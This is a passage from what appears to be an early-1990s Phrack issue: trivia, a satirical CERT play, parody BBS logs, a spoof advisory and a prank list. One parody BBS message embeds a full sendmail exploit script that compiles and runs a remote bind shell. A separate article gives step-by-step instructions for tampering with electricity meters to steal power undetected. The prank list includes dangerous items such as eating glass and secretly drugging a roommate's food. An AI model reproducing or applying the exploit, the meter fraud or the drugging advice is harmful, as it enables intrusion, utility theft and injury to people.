51) Mr. Peabody built what?

The Way‑back Machine

52) Who makes SecurID?

Security Dynamics

53) What's in a Mexican Flag?

White Tequila, Green Creme de Menthe & Grenadine, layered

54) Who created Interzone?

William S. Burroughs

55) JAMs (as led by John Dillinger)

Justified Ancients of MU

56) Abbie Hoffman helped start what phreak magazine? YIPL

57) What was once "Reality Hackers?"

Mondo 2000

58) Gates and Allen "wrote" BASIC for what computer? The Altair

59) Tahoe is related to what OS?

BSD Unix

60) CPE 1704 TKS is what?

Launch Code from Wargames

61) Telemail's default was what?

A

62) "Do Androids Dream of Electric Sheep" became what? Blade Runner

63) What broadcasts between roughly 40 and 50 mhz? Cordless Phones

64) Who created Tangram, Stratosphere, and Phaedra among others? Tangerine Dream

65) What was Flynn's most popular video game?

Space Paranoids

66) Who lived in Goose Island, Oregon?

Dr. Steven Falken

67) 516‑935‑2481

Plovernet

68) What is the security of ComSecMilNavPac?

9

69) What has the "spiral death trap?"

Qix

70) Who was the Midnight Skulker?

Mark Bernay

71) TMRC

Tech Model Railroad Club

72) Who wrote "Jawbreaker?"

John Harris

73) 213‑080‑1050

Alliance Teleconferencing, Los Angeles

74) What is the Tetragrammaton represented as?

YHVH (or IHVH)

75) Who is Francis J. Haynes?

Frank (of the Phunny Phone Call fame)

76) Who ran into one of the Akira test subjects? Tetsuo Shima

77) What had "Munchies, Fireballs and Yllabian Space Guppies?" Stargate

78) PARC

Palo Alto Research Center

79) Alex and his droogs hung out where?

The Korova Milk Bar

80) Jane Chandler in DC's "Hacker Files" is based on who? Gail Thackeray

81) The Artificial Kid lives on what planet?

Reverie

82) 208057040540

QSD

83) What are the two most common processors for cellular phones? 8051 & 68HC11

84) Who came up with the term "ICE?"

Tom Maddox

85) What group is hoped might help the "Angels" contact RMS? The Legion of Doom

86) Who is Akbar's friend?

Jeff

87) What company's games was David Lightman after? Protovision

88) 26.0.0.0

NET‑MILNET

89) Who was Mr. Slippery forced to locate?

The Mailman

90) Who is "The Whistler?"

Joe Engressia

91) What use would a 6.5536 crystal be?

Making a red box

92) .‑‑. .... .‑. .‑ ‑.‑. ‑.‑

PHRACK

93) The Dark Avenger likes what group?

Iron Maiden

94) What book spawned the term "worm?"

The Shockwave Rider

95) Michael in "Prime Risk" wanted money for what? Flying Lessons

96) Automan's programmer worked for who?

The Police Department

97) What signal filled in keystrokes on TOPS‑20?

ESC

98) ITS

Incompatible Time‑sharing System

99) (a/c)+121

Inward Operator

100) What drug kept the scanners sane?

Ephemerol

Bonus 1

3 pts Name three bodies of work by Andrew Blake?

Night Trips

Night Trips 2

Hidden Obsessions

Secrets

(etc.)

Bonus 2

3 pts Name three currently available titles with Norma Kuzma. Fast Food

Not of This Earth

Cry Baby

Laser Moon

(etc.)

Bonus 3

4 pts Why would I hate Angel Broadhurst?

Because he was living with Christina Applegate. (Duh)

****************************************

** PHRACK MAGAZINE NEEDS THE FOLLOWING **

Any Storage Device Capable of Writing ISO‑9660 Format + Software (IE: Personal ROM‑Writer, Pinnacle Optical Drive, MicroBoard)

A Flatbed 24‑Bit Color Scanner

SCSI Hard Drives

486 or Pentium Processors

SGI Indy/Indigo/Crimson/Iris/Challenge II/Onyx (Any would do)

Spectrum Analysis Equipment

Oscilloscopes

Horizontal & Vertical Sync Adjustment Equipment

Miscellaneous Ham Radio Equipment

Any donations will be generously rewarded with k‑rad info and huge amounts of good karma.

** PHRACK MAGAZINE DOESN'T REALLY NEED BUT KINDA WOULD LIKE THE FOLLOWING **

The Drew Barrymore Home Video (The Motel One)

The Christina Applegate "Home Video" (The Poker One)

Xuxa's "Early" Films

Howard Stern's "Banned by the FCC" CD

Jennie Garth's Workout Tape

The European Smut Mag with Alissa Milano in it.

****************************************

[Something very humorous I found on the FireWalls List]

A one‑act play

Dramatis Personae:

Perry Metzger (PM): an AVP responsible for the firewall at a Fortune 100 company.

Joe Cert (JC): A person at CERT supposed to be helping.

[The scene opens to Perry on the phone with Joe Cert. Perry is at work and freaking out because he doesn't run Sun sendmail and doesn't know what to do. If he turns off mail, his users will kill him. He has no idea how many machines he has to fix or if he has a problem at all.]

PM: Well, I have the problem that I don't normally run Sun sendmail, and I can't run it, so I need to know enough that I can figure out how to fix my security problem.

JC: Well, we don't have a procedure to tell people anything beyond what we put in the advisory.

PM: I run the gateway for a firm that trades hundreds of billions of dollars a day in the financial markets. We can't afford do get shut down. Isn't there any way you can tell me anything that can help me?

JC: Well, we really don't have a procedure in place.

PM: I see. Can I ask you some questions?

JC: Sure.

PM: So this problem, would it be fixed if I had the Prog mailer turned off on my machines?

JC: Well, its a problem that will allow people to run programs on your machine.

PM: Yes, but would turning off the Prog mailer fix it?

JC: Well, the problem allows people to run programs on your machine.

PM: I see. Will this problem only hurt machines that have direct TCP access to the internet, or are machines that can get mail indirectly also possibly affected?

JC: The hole is exploited by sending mail to the machine.

PM: Yes, but do you need SMTP access to the machine, or will just being able to send mail to it hurt you?

JC: Well, the hole is exploited by sending mail to the machine.

PM: look, the machine on my firewall can't be telneted to. Does that make me safe?

JC: Well, the hole is exploited by sending mail to the machine.

PM: Listen, I have THREE THOUSAND workstations in a dozen cities on three continents. Are you telling me that I have to tell all my people that they are working the weekend installing a new sendmail on every machine in the firm? I don't even know how to test to see if I've fixed the problem once I've done that!

JC: Well, the whole is exploited by sending mail to the machine.

PM: Can't you tell me any details?

JC: We really don't have a procedure for that.

PM: Do you know what the problem is?

JC: I can reproduce it, yes.

PM: Look, I work for a company with REAL MONEY on the line here. I can get you a letter from a managing director telling you that I'm legit. You can check who we are in any newspaper ‑‑ we're one of the largest investment banks in the world. Every day the Wall Street Journal lists the Lehman Brothers T‑Bond Index on page C‑1. You can check my criminal record ‑‑ hell, the SEC makes you get fingerprinted so many times around here that I've still got ink on my fingers from the last time. Can't you give me some help here?

JC: We really don't have a procedure for doing that. I'm taking notes, though, and I'll tell my management of your concerns.

[He continues in this vein, but eventually, our hero gives up, realizing that CERT is part of the problem, not the solution. All they've succeeded in doing is keeping him up at night. He can't fix his problem, since he doesn't know how. He has no idea if he has a problem. He can't check once he's done something to determine if he's fixed it. All he knows is that CERT has no procedure for telling him anything regardless of who he is, period.]

PM: So what you are telling me is that if I want details I have to subscribe to 2600 Magazine?

JC: We don't have a procedure for giving you more information, no.

PM: I'm sure the crackers will be happy to hear that. They are likely telling each other at a nice high speed.

****************************************

IF SECURITY TYPES WERE K‑RAD

PART II

SecurNet BBS Captures

(From the LODCOM BBS Archive Project)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Number :) 214

From :) Uncertain Future

Subject :) Get a life

Hey All,

Everyone out there who keeps calling up the Hotline

begging for BUGS can just get a life.

If you have to ask, you don't deserve to know.

UnCERTian Future

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 215

From :) Spaf Master

Subject :) ...

Rum0r haz 1t that a p13cE 0f sH1t hAqu3r

Nam3d Sk0tt ChaZ1n iz 0n Th3 F1RST l1zt!*&@$

3yE hAv3 Try3D 2 g3t h1m Rem0v3D ButT n0‑1

0N th3 l1sT w1lL d3w 1t!!

Y Kan'T w3 d0 s0meth1ng aB0uT tHeze pr1ckz?

1 r3MeMb3r a dAy Wh3n 1t 0nLy t0oK a PhAx

thR3at3n1nG 2 3nD mY sUpP0rT w0ulD g3t

a CumSek Haqu3r lyK3 ChaZ1n R3m0v3D!@!#

Sh1T!

‑‑spaf

Forum Of OverLordS

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 216

From :) Zen

Subject :) Who died and left you in charge?

You suck Jeanie.

Who said YOU got to be the master?

Your group sucks too. You have obsolete info.

You guys say "There is nothing you have that we can

not possess?" Well, there is nothing you have that

WE want to possess.

I think I will begin shooting off my mouth at

Usenix Security BOFs and in Risks and in

mailing lists, then maybe I can be as ELEET as

you. NOT!

Zen

Legion of Security Types

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 217

From :) Hackman

Subject :) I Dream of Geneie

Yo Yo Yo...

I think someone wants to be the next Donn Parker.

Similarities:

1) Has BIG mouth

2) Writes Worthless Books

3) Hoardes inpho from invisible enemy

4) Goes on and on about "Evil Crackers"

You should start charging 5000+ dollar speaking fees

and shave your head. THEN, maybe someone will

hire your worthless self, and you can emerge

from Academia into the REAL world. Nah...you are

too LAME!

HACKMAN

Legion of Security Types

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 218

From :) American Eagle

Subject :) hey.

You two punks think you are so kool, don't you?

I was developing security theory when you were

in junior high. You need to get your asses

kicked, and I'm the guy to do it.

About my speaking fees...Youre jealous. See green often?

You wish your k‑rad companies (pffft) would pay you

as well. BAH.

AE

/q

.

\s

end/

stop

,

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 219

From :) Captian VAX

Subject :) New BBS

Hello,

I am putting up a new bbs to be a forum for a database

on bugs and security problems. If you are interested,

please send me email on here or on internet.

Thx

CV

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 220

From :) The BeanCounter

Subject :) STUPH

HEY...I AM NOT SURE BUT I THINK

MY ACCOUNT AT DOCKMASTER HAS BEEN

HACKED OUT. IF ANY1 KNOWS WHO

DID IT LET ME KNOW.

I AM REALLY PISSED! THATS WHAT

HAPPENS WHEN PEOPLE GET SLOPPY AND

THEY LET ON JUST ANYONE WHO CAN

FILL OUT THE FORM! CAN WE LIE DOWN

WITH DOGS AND EXPECT NOT TO GET UP

WITH FLEAS?

WHM

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 221

From :) Spaf Master

Subject :) fUq U alL

33t sh1T u Pr1Kz!#!$@

3yE m M0r3 3l33t thAn alL 0f u!!!

U w1lL All F3el mY wRatH!

Ey3 Hav3 ur InPh0!@$@ 1 w1Ll b3 kaLl1nG 3aCh

0f U v3Ry so()n.

‑‑spaf

Forum Of OverLordS

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 222

From :) Venom

Subject :) Fuck!

Now I'm mad. That bastard Chasin posted the Sendmail Bug on

The firewalls list! Now all the hackers will have it!

I'm going to take him down. Anyone who wants to help, his

site is crimelab.com. You can check the Forum's

Codeline for further developments.

Get your scripts ready! Let's hack the little prick!

Venom

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 223

From :) American Eagle

Subject :) Sendmail

What is the sendmail bug?

AE

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 224

From :) Uncertian Future

Subject :) Sendmail

The Sendmail bug is a bug that works using sendmail.

This bug works on hosts using sendmail and can allow

people to do things from remote through sendmail.

I know the bug, but I'm not going to give it out.

Forum Members can get it from the Database

on CertNet.

UnCERTian Future

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 225

From :) The BeanCounter

Subject :) SENDMAIL

ED:

I DON'T HAVE ACCESS TO THE DATABASE

ON CERTNET.

COULD YOU SEND IT TO ME IN EMAIL?

WHM

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 226

From :) Uncertian Future

Subject :) Bill...

Yes, you do. All Members of The Forum

have access. I will call you and tell you

how to access it. Remember, UNIX

is case sensitive. If this is a problem, you

will have to use another computer.

UnCERTian Future

Forum Of OverLordS

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 227

From :) Information Warrior

Subject :) InterNuts

I have been having a really dumb conversation on the

net with a moron who wants to argue about HERF with ME!

WITH ME! Can you believe it? I almost want to strangle the

guy. Some college kid, but still...

The new file is due out soon. I will place it in the

upload section in .zip format. Someone will have to

unzip it for Donn and Bill. I don't think they have

figured that utility out yet.

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 228

From :) Hackman

Subject :) Sendmail Bug. Dig it.

You Forum people piss me off. Turn on your buffers everyone

cuz here comes the bug. Fuck you if you don't like it.

‑‑‑‑‑‑Cut Here‑‑‑‑‑‑‑‑

#!/bin/sh

# Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)

#

# This material is copyrighted by Scott Chasin, 1992, 1993. The

# usual standard disclaimer applies, especially the fact that the # author is not liable for any damages caused by direct or indirect # use of the information or functionality provided by this program. #

# Description:

#

# Exploit NEW sendmail hole and bind a port so we can spawn a program. # Not for distribution under any circumstances

#

# Usage: smail <hostname> <target‑user‑name> <target‑port> <shell command> # default: smail <localhost> <daemon> <7001> </bin/sh>

port=$3

user=$2

cmd=$4

if [ ‑z "$2" ]; then

user=daemon

fi

if [ ‑z "$3" ]; then

port=7002

fi

if [ ‑z "$4" ]; then

cmd="/bin/csh ‑i"

fi

(

sleep 4

echo "helo"

echo "mail from: |"

echo "rcpt to: bounce"

echo "data"

echo "."

sleep 3

echo "mail from: $user"

echo "rcpt to: | sed '1,/^$/d' | sh"

echo "data"

echo "cat > /tmp/a.c <<EOF"

cat << EOF

#include <sys/types.h>

#include <sys/signal.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

reap(){int s;while(wait(&s)!=‑1);}main(ac,av)int ac;

int **av;{struct sockaddr_in mya;struct servent *sp

;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))

==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port =htons(atoi(av[1]));}else mya.sin_port=sp‑>s_port;if(bind(myfd, (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() ==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x< NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2 (0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);

goto loop;}

EOF

echo "EOF"

echo "cd /tmp"

echo "/bin/cc /tmp/a.c"

echo "/bin/rm a.c"

echo "/tmp/a.out $port $cmd"

echo "."

echo "quit"

) | mconnect $1

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This Buffer Brought To You By: L.O.S.T

Greets Going Out To: The Great Circle, Apple‑Man, Casper The Ghost, Zen and the L.O.S.T Posse!

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 229

From :) Spaf Master

Subject :) D1CK!!!

Ey3 kAnt b3l1V3 u p0sT3d 1t!

U w1lL PaY d3aRly 4 ur NaRq1nG th1z BUG!

Ur dAyz r NumB3rd!@!#

‑‑spaf

Forum Of OverLordS

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 230

From :) LOST Girl

Subject :) Bugs

Thanks for posting that. I was wondering if you

I would ever get it. Nasa probably has it...they

have every HOLE... <sigh> Why did I take this job?

L.O.S.T Girl

Number :) 231

From :) American Eagle

Subject :) That post

How do you use that bug?

I tried typing it in,but got a lot of errors.

Is it for some special operating system? Or do you have

to type it in on a special port?

American Eagle

Forum Of OverLordS

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 232

From :) Zen

Subject :) New Program

The new version of COPS is available for Download.

Zero Day Ware! Get it fast. I will u/l updates/

bug fixes later...

Gotta love all them filepoints!

Off to play Xtank

Zen

Legion Of Security Types

[A]uto reply [N] [R]e‑read [Q]uit:N

Number :) 234

From :) Spaf Master

Subject :) !@!#

Ur Pr0grA/\/\ 1z amUz1nG, But Un3l3eT

Eye p0Ss3z 1 0F mUch gR3aTr aB1liTy thAt Th3

4‑m w1lL Us3.

Ch3Ck th3 DatAbaS3 0n CERT‑NET.

D3aTh 2 LOST

‑‑spaf

Forum Of OverLordS

Number :) 235

From :) Sysop

Subject :) WARNING!

Someone has given out the NUP.

Some cracker type has attempted to

access the bbs as of last night. I will call

UnCERTain Future to put out an advisory on this

issue. Please do not give out the NUP to anyone.

THIS IS A PRIVATE BBS!

[A]uto reply [N] [R]e‑read [Q]uit:N

End of Messages

[A]uto reply [N] [R]e‑read [Q]uit:Q

****************************************

========================================

CA‑93:16 CERT Advisory

October 23, 1993

Hacker/Cracker Vulnerabilities

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The CERT Coordination Center has learned of several vulnerabilities in the language used on the USENET system. This vulnerability affects all users running rn, tin or other USENET news readers as well as users holding discussions containing the words "hacker" or "cracker".

Patches can be obtained from your local phrack archive as well as through anonymous FTP to they ftp.netsys.com (192.215.1.2) system.

Information concerning specific patches is outlined below. Please note that phrack sometimes updates patch files. If you find that the checksum is different, please contact phrack.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I. Hack and Crack Vulnerabilities

These vulnerabilities affect all systems running a USENET newsreader including rn and tin, as well as all conversations, papers and stories involving the words "Cracker" and/or "Hacker".

** This vulnerability is being actively exploited and we strongly recommend that sites take immediate and corrective action. **

A. Description

A vulnerability exists in the words "Hacker" and "Cracker" such that users may become confused as to exactly who/what you are talking about when used in a sentence.

B. Impact

Unauthorized confusion to affected conversations may ensue.

C. Solution

We recommend that all affected sites take the following steps to secure their systems.

1. Obtain and install the appropriate patch following the instructions included with the patch.

System Patch ID Filename Checksum

‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑

all 10288 10288.tar.Z 5551 212

The checksums shown above are from the BSD‑based checksum.

2. If your conversation is found to have been compromised by the word "Hacker" or "Cracker", we recommend you flame all parties involved and immediately break up the discussion by talking about the "correct" meaning of the words.

3. Depending upon the sensitivity of the information contained in your conversation, you may wish to replace the existing conversation with one discussing (a) the NSA, (b) the BATF (c) The Kennedy Assasination, (d) why shadowing password schemes are helpful or hurtful or (e) which file editor is actually the best.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The CERT Coordination Center wishes to thank the Rogue Agent, (Rogue Agent/ SoD!/TOS/KoX), the letter 'Q' and the number '55' for reporting these vulnerabilities and Phrack, Inc. for their response to these problems.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in FIRST (Forum of Incident Response and Security Teams).

Internet E‑mail: cert@cert.org

Telephone: 412‑268‑7090 (24‑hour hotline)

CERT personnel answer 8:30 a.m.‑5:00 p.m. EST(GMT‑5)/EDT(GMT‑4), and are on call for emergencies during other hours.

CERT Coordination Center

Software Engineering Institute

Carnegie Mellon University

Pittsburgh, PA 15213‑3890

Past advisories, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from cert.org (192.88.209.5).

****************************************

[** NOTE: The following file is presented for informational and entertainment purposes only. Phrack Magazine takes NO responsibility for anyone who attempts the actions described within. **]

Power to the People

A little theory to get you started:

Watts=Current * Voltage

A power meter consists of a voltage coil, a current coil, a small motor to drive the dials, and little else. Given the formula above, if we can somehow cut down the voltage that the meter 'sees', then we can reduce the number of watts that it measures. If we cut our voltage in 1/2, our watts also get cut in half.

Fortunately, your meter doesn't read the voltage directly off of the lines into your house. Two small wires lead to the voltage coil within the meter. Simple modification to this circuit is all that is needed. Inserting a resistor in series with the voltage coil will cut the voltage that the meter sees, and therefore that wattage that it reads.

Meters read Kilowatts per hour, and you pay so much for each kilowatt. Since the hours remain constant (unless your stuck in one of those nasty little dimensional time warps..and I really hate it when that happens), your bill is directly related to what resistor value you insert. Do this correctly, and carefully, you will save a bundle on the power you use.

Say I cut my bill by $40 per month..$40 * 12 months = $480 saved with a original 'investment' of $5 that is a 96 fold return on your investment. This idea also might be used to provide a service to your trusted friends, $100 bux a mod or so..$$$

One last little caution before you begin, don't go messing around with the adjustment screws you will find, usually there are 2 of them with F & S marked near them. I had the foolish idea to mess with these, the result is when I am drawing very little power (a few watts) my meter will slowly run backwards. Next time I'm modifying it, I'll have to fix that. Mr. Meter Reader would really wonder what the heck was going on when he saw that. (Mr. Meter Reader will be thinking he's done far to many drugs on the weekend..or needs to be.)

SUPPLIES NEEDED:

(2) Power meters. You'll perform the mod on one, and use the other to have in while you're doing it.

(1) Length of heat shrink tubing, a sufficient size to cover a half watt resistor.

(Some) half‑watt resistors, 10k‑25k or so. (A 10K resistor will cut your bill in half...15K quit a bit more (the amount saved, is NOT linear to the resistor value..more like a logarithmic scale) (some) Good old 100% silicon caulk

Soldering iron, solder, lots of nerve.

To begin the Mod:

Take the little 'lock' they use (little plastic deal), and chuck it. Wait about 2 months for the reader to get used to the fact it's gone..the idea is that if they think you've tampered with it cause the lock is gone..they will check and find no tampering then..(least that's the idea)

If you happen to know someone who works for the power company, and can get your hands on some of those locks, get a few new ones, and let them 'age' outside for a few months (to get that used look), then replace yours with it when done. And if anyone happens to know of a source for these locks, I would appreciate knowing.

You'll need to 'find/get/steal/snag/etc' another meter to put in while your fixing your..(kinda hard to see/solder with no power) ;)

Lift the now unlocked cover and pull meter out..(simply pulls out of the socket real easy) put other meter in for a while..(do at night would be a good idea..neighbors would wonder what the heck you were doing eh?)

On the side of the meter, there will be a little (probably copper), pin, that is designed to break when you unbend the end of it..(security device). Be real careful and try not to break it when you bend it back (if it breaks, save the piece that broke off)

Pull that out, and then turn the ring that holds the unit together..it should then come apart real easy.

Between the assembly where the wheel is and the base plate, look in the gap, there should be a black deal that looks like a transformer attached to the core of the meter and 2 black wires leading from the prongs of the meter base to the smaller coil. This is the voltage coil. Here comes the fun part!

Cut one of the wires, being sure you cut where you can hide the damage later. Solder in 10k or 15k resistor with the leads of resistor cut off right at resistor body, and also put the heat shrink tubing on the resistor, and shrink it..(with heat preferably) ;)

Take silicone rubber (the 100% pure stuff..) and glue the resistor and the shrunk tubing over it underneath the top assembly. Make it appear that the wires simply curve up that way and nothing more. Put ring back on. Notice that you must put the meter together exactly the way it came apart. Example: on mine, i noticed that there was dirt on the bottom from rain splashing mud onto the meter. It would look kinda obvious if the mud suddenly appeared on top of the meter.

Take the little pin that you removed (copper thing) and replace it in the hole and through the ring as before. Bend the end back up like before also if it broke, bend what is left anyways, there should be plenty left to bend. Take the broken end (if it broke), and jam it under the end of the bend to make it look legit. If they do pull the meter to inspect, they will hopefully just think that it might have broke loose when it was installed.

I have noticed on some unmodified meters that I 'found' that the security pin has been broken already. So It's reasonable safe to assume that they don't take much faith in them.

When done, you should NOT be able to tell if any mods have been done by looking. Be sure it's undetectable, they get kinda mad when you do things like this for some odd reason. It's suggested that after the modification, you have a friend, who you trust not to fink, take a very close look to see if they can spot any mods.

Your bill should drop in half or more..if you really want to drop the bill..do this in steps.. a few months apart..so they won't notice that your bill is dropping like a rock. Just don't get silly. Using only 1kwh per month just yells fraud. Mine went from $80‑$90 a month to around $30‑$37 month with a 10K resistor (I added a electric dryer and other items during that month also.)

You might want to try this a few times on other meters you've 'found' just to get the nack of it first, it should work with all meters. At least the ones they use in my area.

Table of comparisons:

test made using 1320 watt electric heater.

120V

11 amps

1.3 KWH

resistor value rev per time voltage cross resistor rev/hour

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 1 rev/23 seconds 0 156 1k 1 rev/24 seconds 9. 150 10K 1 rev/42 seconds 63 85 12k 1 rev/53 seconds 68 39K 1 rev/464 seconds ??? 7.25

Notice the 39K resistor's performance, NOT a good choice to use, it will cut your bill to 4% of the original. They will wonder about this. I'm currently using 10K which will cut it to approx 54% of the original bill. My bill is around 1/2 previous. Saving me approx $30‑$50 a month in power bills. Not bad for a 10 cent resistor.

Keep in mine the wattage rating of the resistor. Measure the voltage across the resistor. Take that number divide it by the resistor your using to get current. Take the current times current (square it), and multiply this by resistance value to get the wattage of resistor that is required. After all, it would not be a good thing for the resistor to go up in smoke. Mr. Meter Reader would wonder why you used 0 kwh this month.

There also is another method that in theory will make your power bill less, this is called 'power factor correction', but unfortunately requires the use of some rather large (read expensive) AC cap's. For this reason (and the fact it cost under $5 and provides more of a benefit), the method of using the resistor is more useful and do‑able by the everyone (especially those who despise the 'system').

Notice that I have NOT left a email address or the like for correspondence, namely due to the fact that this is highly illegal and greatly frowned upon by the authorities. If anyone has a need to contact me they may do so via phrack magazine, they can forward mail to me. If you do this modification correctly and per instructions, you will indeed save money. Have fun, be careful, and challenge the system at every turn.

****************************************

DATA BANK OF THE GERMAN SPEAKING AN‑ARCHISM

The Da.d.A. Project

DAtenbank des Deutschsprachigen Anarchismus

Berlin, Koln

The history of the liberative movement has not yet been filed sufficiently. That is, mainly, due to the lack of scientists with interest in exploring this area. Thanks to that, people who need bibliographic information for some specific themes of the history of anarchism, must go through all direct sources and derive from those some conclusions. Things are more difficult in case modern literature is required, for the theory and practice of liberative movements, which have appeared in the meantime.

The data bank of the German speaking anarchism (DAtenbank des Deutschsprachigen Anarchismus) is trying to cover the lack of bibliographic material. Currently it files anarchistic or, generally, liberative documents and publishes. Later it will comprehend documents which deal with the history and theory of those movements.

We are focusing our compilation activities, to the German speaking areas with plans of enhancing that shortly. In parallel we are elaborating an introduction to the publishing history of the printed material, which will be informative for their political and editorial meanings.

From the early 1980's, the filing of the German liberative press is open for exploration. It covers the chronological period from the philosophic commencements of the German anarchism, in the 1832, until nowadays. Strength of expression is given to newspapers and magazines, though collections of documents, almanacs, year‑books, congresses' protocols and catalogs are not omitted.

Except of the anarchistic publishes we are also registering material whose cooperatives or publishers were anarchists. The filing is achieved using all the usual bibliographical criterion (titles, publishers, date/district, circulation, place of distribution et cetera).

In order to handle the increasing demands of the people who would like to access our material, we decided to publish our first synthetic registers in a series of brochures. This publication, in restricted copies and four or five continuations, will be available at the "File of Social and Civilization History" of the 'Libertad' publications in Berlin. The first brochure, is occupied with the German liberative press from 1832 to 1890. Every copy of this serial includes a diagram of the press' history, chronological bibliography of the magazines and an index.

We resume special researches through the data bank and we offer the results printed. Until now we have filed over 1000 titles, which offer many different elements for research each.

Da.d.A. is a private, research project. We do not accept donations from state institutions and other similar organizations. In that way we can continue our efforts undistracted and independent. The disadvantage is that we support Da.d.A. with personal expenses and when we have free time available.

The modern liberative press is difficult to register and get filed. Although liberative publications were developed in an unprecedented way (and not only arithmetically) after 1968, few publications are accessible from libraries and files. Especially today we must tune up our practises in order to protect modern press. We encourage every publisher of anarchistic material, even if productions are ceased nowadays, to send us information and, if possible, a copy of their publications. They will get registered in our computer and filed in the library for the Research of Social Demands, in order to be accessible for studies in the future.

For more information about the Da.d.A. project and the possibilities of using the data bank, you can contact us in the following addresses:

BERLINER GESELLSCHAFT ZUM STUDIUM SOZIALER FRAGEN e.V. Projekt: Datenbank des Deutschsprachigen Anarchismus (Da.d.A.)

c/o Jochen Schmuck c/o Gunter Hoering

Postfach 440 349 Pfalzer Str.27

1000 BERLIN 44 5000 KOLN 1

Tel. 030/686 65 24 Tel. 0221/21 81 49

****************************************

[Don't ask me why I'm printing this. I just think it's funny as hell.]

100 WAYS TO FREAK OUT YOUR ROOMMATE

1. Smoke jimson weed. Do whatever comes naturally.

2. Switch the sheets on your beds while s/he is at class.

3. Twitch a lot.

4. Pretend to talk while pretending to be asleep.

5. Steal a fishtank. Fill it with beer and dump sardines in it. Talk to them.

6. Become a subgenius.

7. Inject his/her twinkies with a mixture of Dexatrim and MSG.

8. Learn to levitate. While your roommate is looking away, float up out of your seat. When s/he turns to look, fall back down and grin.

9. Speak in tongues.

10. Move you roommate's personal effects around. Start out subtle. Gradually work up to big things, and eventually glue everything s/he owns to the ceiling.

11. Walk and talk backwards.

12. Spend all your money on Jolt Cola. Drink it all. Stack the cans in the middle of your room. Number them.

13. Spend all your money on Transformers. Play with them at night. If your roommate says anything, tell him/her with a straight face, "They're more than meets the eye."

14. Recite entire movie scripts (e.g. "The Road Warrior," "Repo Man," Casablanca,") almost inaudibly.

15. Kill roaches with a monkey wrench while playing Wagnerian arias on a kazoo. If your roommate complains, explain that it is for your performance art class (or hit him/her with the wrench).

16. Collect all your urine in a small jug.

17. Chain yourself to your roommate's bed. Get him/her to bring you food.

18. Get a computer. Leave it on when you are not using it. Turn it off when you are.

19. Ask your roommate if your family can move in "just for a couple of weeks."

20. Buy as many back issues of Field and Stream as you can. Pretend to masturbate while reading them.

21. Fake a heart attack. When your roommate gets the paramedics to come, pretend nothing happened.

22. Eat glass.

23. Smoke ballpoint pens.

24. Smile. All the time.

25. Collect dog shit in baby food jars. Sort them according to what you think the dog ate.

26. Burn all your waste paper while eying your roommate suspiciously.

27. Hide a bunch of potato chips and Ho Hos in the bottom of a trash can. When you get hungry, root around in the trash. Find the food, and eat it. If your roommate empties the trash before you get hungry, demand that s/he reimburse you.

28. Leave a declaration of war on your roommate's desk. Include a list of grievances.

29. Paste boogers on the windows in occult patterns.

30. Shoot rubber bands at your roommate while his/her back is turned, and then look away quickly.

31. Dye all your underwear lime green.

32. Spill a lot of beer on his/her bed. Swim.

33. Bye three loaves of stale bread. Grow mold in the closet.

34. Hide your underwear and socks in your roommate's closet. Accuse him/her of stealing it.

35. Remove your door. Ship it to your roommate's parents (postage due).

36. Pray to Azazoth or Zoroaster. Sacrifice something nasty.

37. Whenever your roommate walks in, wait one minute and then stand up. Announce that you are going to take a shower. Do so. Keep this up for three weeks.

38. Array thirteen toothbrushes of different colors on your dresser. Refuse to discuss them.

39. Paint your half of the room black. Or paisley.

